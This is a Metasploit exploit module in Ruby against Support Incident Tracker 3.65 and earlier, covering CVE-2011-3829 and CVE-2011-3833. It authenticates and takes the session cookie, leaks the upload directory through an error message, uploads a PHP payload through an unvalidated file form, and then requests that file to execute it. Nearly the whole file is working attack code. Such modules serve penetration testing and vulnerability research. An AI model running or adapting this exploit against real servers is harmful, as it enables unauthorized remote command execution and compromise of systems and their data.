##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Support Incident Tracker <= 3.65 Remote Command Execution',
'Description' => %q{
This module combines two separate issues within Support Incident Tracker (<= 3.65)
application to upload arbitrary data and thus execute a shell. The two issues exist
in ftp_upload_file.php.
The first vulnerability exposes the upload dir used to store attachments.
The second vulnerability allows arbitrary file upload since there is no
validation function to prevent from uploading any file type.
Authentication is required to exploit both vulnerabilities.
},
'Author' =>
[
'Secunia Research', # Original discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', 'CVE-2011-3829'],
['CVE', 'CVE-2011-3833'],
['OSVDB', '76999'],
['OSVDB', '77003'],
['URL', 'http://secunia.com/secunia_research/2011-75/'],
['URL', 'http://secunia.com/secunia_research/2011-79/'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
}
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 10 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "SiT! directory path", "/sit"]),
OptString.new('USERNAME', [ true, 'The username to authenticate as','' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]),
], self.class)
end
def check
if datastore['URI'][-1, 1] == "/"
uri = datastore['URI'] + "index.php"
else
uri = datastore['URI'] + "/index.php"
end
res = send_request_raw({
'uri' => uri
})
if (res and res.body =~ /SiT! Support Incident Tracker v(\d)\.(\d\d)/)
ver = [ $1.to_i, $2.to_i ]
print_status("SiT! #{ver[0]}.#{ver[1]}")
if (ver[0] == 3 and ver[1] == 65)
return Exploit::CheckCode::Vulnerable
elsif (ver[0] == 3 and ver[1] < 65)
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
end
def retrieve_session(user, pass)
if datastore['URI'][-1, 1] == "/"
uri = datastore['URI'] + "login.php"
else
uri = datastore['URI'] + "/login.php"
end
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'data' => "username=#{user}&password=#{pass}",
}, 25)
if (res and res.code == 302 and res.headers['Location'] =~ /main.php/)
print_status("Successfully logged in as #{user}:#{pass}")
if (res.headers['Set-Cookie'] =~ /SiTsessionID/) and res.headers['Set-Cookie'].split("SiTsessionID")[-1] =~ /=(.*);/
session = $1
print_status("Successfully retrieved cookie: #{session}")
return session
else
raise RuntimeError, "Error retrieving cookie!"
end
else
raise RuntimeError, "Error logging in."
end
end
def upload_page(session, newpage, contents)
if datastore['URI'][-1, 1] == "/"
uri = datastore['URI'] + "ftp_upload_file.php"
else
uri = datastore['URI'] + "/ftp_upload_file.php"
end
boundary = rand_text_alphanumeric(6)
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"file\"; "
data << "filename=\"#{newpage}\"\r\n"
data << "Content-Type: application/x-httpd-php\r\n\r\n"
data << contents
data << "\r\n--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"shortdescription\"\r\n\r\n"
data << rand_text_alphanumeric(rand(10 + 10))
data << "\r\n--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"longdescription\"\r\n\r\n"
data << rand_text_alphanumeric(rand(20) + 20)
data << "\r\n--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"fileversion\"\r\n\r\n"
data << "1"
data << "\r\n--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
data << "publish"
data << "\r\n--#{boundary}--"
res = send_request_raw({
'uri' => uri,
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => data.length,
'Cookie' => "SiTsessionID=#{session}",
}
}, 25)
if (res and res.code == 200)
print_status("Successfully uploaded #{newpage}")
return res
else
raise RuntimeError, "Error uploading #{newpage}"
end
end
def retrieve_upload_dir(session)
data = rand_text_alphanumeric(rand(20)+20)
filename = rand_text_alphanumeric(rand(256) + 300)
res = upload_page(session, filename, data)
if res.body =~ /attachments-(.*)\/#{filename}\): failed to open stream/
upload_dir = "attachments-#{$1}"
print_status("Successfully retrieved upload dir: #{upload_dir}")
return upload_dir
else
raise RuntimeError, "Error retrieving the upload dir"
end
end
def cmd_shell(cmdpath)
print_status("Calling payload: #{cmdpath}")
if datastore['URI'][-1, 1] == "/"
uri = datastore['URI'] + cmdpath
else
uri = datastore['URI'] + "/#{cmdpath}"
end
send_request_raw({
'uri' => uri
}, 25)
return
end
def exploit
cmd_php = '<?php ' + payload.encoded + '?>'
cmdscript = rand_text_alphanumeric(rand(10)+10) + '.php'
user = datastore['USERNAME']
pass = datastore['PASSWORD']
session = retrieve_session(user, pass)
upload_dir = retrieve_upload_dir(session) # CVE-2011-3829
upload_page(session, cmdscript, cmd_php) # CVE-2011-3833
cmdpath = "#{upload_dir}/#{cmdscript}"
cmd_shell(cmdpath)
handler
end
end
